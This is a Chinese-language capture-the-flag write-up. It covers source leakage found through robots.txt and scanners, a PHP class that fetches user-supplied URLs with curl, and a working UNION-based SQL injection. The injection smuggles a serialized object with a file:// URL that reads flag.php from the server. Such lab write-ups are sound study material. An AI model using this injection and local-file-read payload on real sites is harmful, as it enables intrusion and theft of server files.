关于源码泄露,我是真的懂的不多,而且刚开始发现有SQL注入,我以为就没了,但最后发现根本不是。
1.源码泄露
这题的关键点,就是找到源码,而找源码,就需要有好的工具(nikto)。存在robots.txt文件,里面有源码的路径。而再用御剑,发现falg.php文件。啥时候可以有一个完美的扫描工具。这还得扫两遍,谁能想的到!
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init(); 初始化 cURL 会话
curl_setopt($ch, CURLOPT_URL, $url); 设置url链接
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 设置访问规则
$output = curl_exec($ch); 返回访问结果
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
?>
2.思考
在view界面,有一个“
the contents of his/her blog”的句子,所以我们猜测,它会把我们传过去的参数(n=1),放到服务器的数据库里去查询,而后把结果返回到页面,且它会把可能会去访问查询结果中的网址,并把结果存放在iframe这个标签里。那么我们就利用SQL注入和file协议,让它的查询结果中的网址为flag.php的地址。从刚才的源码,也是提示我们了思路。但我是想不到啊,很久不用file协议了,太菜了。
3.实践
设置 no = 0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";i:1;s:3:"age";i:2;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
提交后,在iframe的src里看见flag。
4.问题
data:text/html;base64,
是什么东西。- 而且为什么不会显示在页面上了。
- 为什么我们传入正常的url,在iframe里不会有数据了。